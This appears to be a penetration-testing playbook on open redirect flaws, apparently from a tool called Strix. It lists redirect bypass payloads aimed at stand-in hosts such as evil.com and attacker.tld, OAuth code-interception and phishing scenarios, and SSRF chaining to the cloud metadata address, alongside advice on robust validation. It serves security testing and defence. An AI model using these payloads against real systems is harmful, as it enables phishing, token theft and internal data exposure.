Strix•开放重定向

Open Redirect

Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.

Attack Surface

Server-Driven Redirects

• HTTP 3xx Location

Client-Driven Redirects

• window.location, meta refresh, SPA routers

OAuth/OIDC/SAML Flows

• redirect_uri, post_logout_redirect_uri, RelayState, returnTo/continue/next

Multi-Hop Chains

• Only first hop validated

High-Value Targets

• Login/logout, password reset, SSO/OAuth flows
• Payment gateways, email links, invite/verification
• Unsubscribe, language/locale switches
• /out or /r redirectors

Reconnaissance

Injection Points

• Params: redirect, url, next, return_to, returnUrl, continue, goto, target, callback, out, dest, back, to, r, u
• OAuth/OIDC/SAML: redirect_uri, post_logout_redirect_uri, RelayState, state
• SPA: router.push/replace, location.assign/href, meta refresh, window.open
• Headers: Host, X-Forwarded-Host/Proto, Referer; server-side Location echo

Parser Differentials

Userinfo

• https://[email protected] → validators parse host as trusted.com, browser navigates to evil.com
• Variants: trusted.com%40evil.com, a%40evil.com%40trusted.com

Backslash and Slashes

• https://trusted.com\evil.com, https://trusted.com\@evil.com, ///evil.com, /\evil.com

Whitespace and Control

• http%09://evil.com, http%0A://evil.com, trusted.com%09evil.com

Fragment and Query

• trusted.com#@evil.com, trusted.com?//@evil.com, ?next=//evil.com#@trusted.com

Unicode and IDNA

• Punycode/IDN: truѕted.com (Cyrillic), trusted.com。evil.com (full-width dot), trailing dot

Encoding Bypasses

• Double encoding: %2f%2fevil.com, %252f%252fevil.com
• Mixed case and scheme smuggling: hTtPs://evil.com, http:evil.com
• IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 [::ffff:127.0.0.1]
• User-controlled path bases: /out?url=/\evil.com

Key Vulnerabilities

Allowlist Evasion

Common Mistakes

• Substring/regex contains checks: allows trusted.com.evil.com
• Wildcards: *.trusted.com also matches attacker.trusted.com.evil.net
• Missing scheme pinning: data:, javascript:, file:, gopher: accepted
• Case/IDN drift between validator and browser

Robust Validation

• Canonicalize with a single modern URL parser (WHATWG URL)
• Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
• Require absolute HTTPS; reject protocol-relative // and unknown schemes

OAuth/OIDC/SAML

Redirect URI Abuse

• Using an open redirect on a trusted domain for redirect_uri enables code interception
• Weak prefix/suffix checks: https://trusted.com → https://trusted.com.evil.com
• Path traversal/canonicalization: /oauth/../../@evil.com
• post_logout_redirect_uri often less strictly validated

Client-Side Vectors

JavaScript Redirects

• location.href/assign/replace using user input
• Meta refresh content=0;url=USER_INPUT
• SPA routers: router.push(searchParams.get('next'))

Reverse Proxies and Gateways

• Host/X-Forwarded-* may change absolute URL construction
• CDNs that follow redirects for link checking can leak tokens when chained

SSRF Chaining

• Server-side fetchers (web previewers, link unfurlers) follow 3xx
• Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)

Exploitation Scenarios

OAuth Code Interception

• Set redirect_uri to https://trusted.example/out?url=https://attacker.tld/cb
• IdP sends code to trusted.example which redirects to attacker.tld
• Exchange code for tokens; demonstrate account access

Phishing Flow

• Send link on trusted domain: /login?next=https://attacker.tld/fake
• Victim authenticates; browser navigates to attacker page
• Capture credentials/tokens via cloned UI

Internal Evasion

• Server-side link unfurler fetches https://trusted.example/out?u=http://169.254.169.254/latest/meta-data
• Redirect follows to metadata; confirm via timing/headers

Testing Methodology

• Inventory surfaces - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links
• Build test matrix - Scheme × host × path variants and encoding/unicode forms
• Compare behaviors - Server-side validation vs browser navigation results
• Multi-hop testing - Trusted-domain → redirector → external
• Prove impact - Credential phishing, OAuth code interception, internal egress

Validation

• Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture
• Show bypass of the stated validation (regex/allowlist) using canonicalization variants
• Test multi-hop: prove only first hop is validated and second hop escapes constraints
• For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint

False Positives

• Redirects constrained to relative same-origin paths with robust normalization
• Exact pre-registered OAuth redirect_uri with strict verifier
• Validators using a single canonical parser and comparing post-IDNA host and scheme
• User prompts that show the exact final destination before navigating

Impact

• Credential and token theft via phishing and OAuth/OIDC interception
• Internal data exposure when server fetchers follow redirects
• Policy bypass where allowlists are enforced only on the first hop
• Cross-application trust erosion and brand abuse

Pro Tips

• Always compare server-side canonicalization to real browser navigation; differences reveal bypasses
• Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early
• In OAuth, prioritize post_logout_redirect_uri and less-discussed flows; they're often looser
• Exercise multi-hop across distinct subdomains and paths
• For SSRF chaining, target services known to follow redirects
• Favor allowlists of exact origins plus optional path prefixes
• Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)

Summary

Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.